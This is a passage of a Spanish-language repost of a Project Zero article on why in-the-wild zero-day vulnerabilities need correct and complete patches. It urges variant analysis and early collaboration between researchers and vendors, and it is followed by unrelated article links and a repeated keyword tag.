También mostramos cómo 3 vulnerabilidades que se explotaron en la naturaleza no se solucionaron correctamente o no se solucionaron de manera integral cuando se parchearon este año.

Cuando se detectan exploits de día cero en la naturaleza, es el caso de falla para un atacante.

Es un regalo para nosotros, los defensores de la seguridad, aprender todo lo que podamos y tomar medidas para garantizar que ese vector no se pueda volver a utilizar.

El objetivo es obligar a los atacantes a empezar desde cero cada vez que detectamos una de sus vulnerabilidades: se ven obligados a descubrir una vulnerabilidad completamente nueva , tienen que invertir tiempo en aprender y analizar una nueva superficie de ataque, deben desarrollar una marca. nuevo método de explotación.

Para hacer eso, necesitamos correcciones completas y correctas.

Ser capaz de parchear de manera correcta y completa no es solo presionar un interruptor: requiere inversión, priorización y planificación. También requiere el desarrollo de un proceso de parcheo que equilibre la protección rápida de los usuarios y la garantía de que sea integral, lo que a veces puede estar en tensión. Si bien esperamos que nada de esto sea una sorpresa para los equipos de seguridad de una organización, este análisis es un buen recordatorio de que aún queda trabajo por hacer.

Exactamente qué inversiones probablemente se requieran depende de cada situación única, pero vemos algunos temas comunes en torno a la dotación de personal / recursos, las estructuras de incentivos, la madurez de los procesos, la automatización / pruebas, la cadencia de lanzamiento y las asociaciones.

Si bien el objetivo es que algún día todas las vulnerabilidades se solucionen de manera correcta y completa, cada paso que demos en esa dirección hará que sea más difícil para los atacantes explotar los días-0.

En 2021, Project Zero continuará completando los análisis de la causa raíz y las variantes de las vulnerabilidades reportadas como in-the-wild. También estaremos revisando los parches para estas vulnerabilidades explotadas con más escrutinio. También esperamos expandir nuestro trabajo al trabajo de análisis de variantes en otras vulnerabilidades.

Esperamos que más investigadores se unan a nosotros en este trabajo. (Si sos un/a aspirante a investigador/a de vulnerabilidades, ¡el análisis de variantes podría ser una excelente manera de comenzar a desarrollar tus habilidades!

Además, realmente nos gustaría trabajar más de cerca con los proveedores en parches y mitigaciones antes de  que se publique el parche. A menudo tenemos ideas sobre cómo abordar los problemas.

La colaboración temprana y ofrecer comentarios durante el proceso de diseño e implementación de parches es bueno para todos.

Tanto los investigadores como los proveedores pueden ahorrar tiempo, recursos y energía trabajando juntos, en lugar de parchear un binario después del lanzamiento y darse cuenta de que la vulnerabilidad no se solucionó por completo.

 

por Maddie Stone, Project Zero

Lea más en

Servicios de salud en 2021: buscan la mejora con tecnología

Pat Gelsinger: nuevo CEO de Intel, 1era bomba del 2021

Dell Technologies reimagina el trabajo 2021

Carbino 2021: el material que está revolucionando a la ciencia

Energía Solar 2020: una alternativa de eficiencia operativa

 

 

 

 

Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  Exploit de día cero,  

95 / 100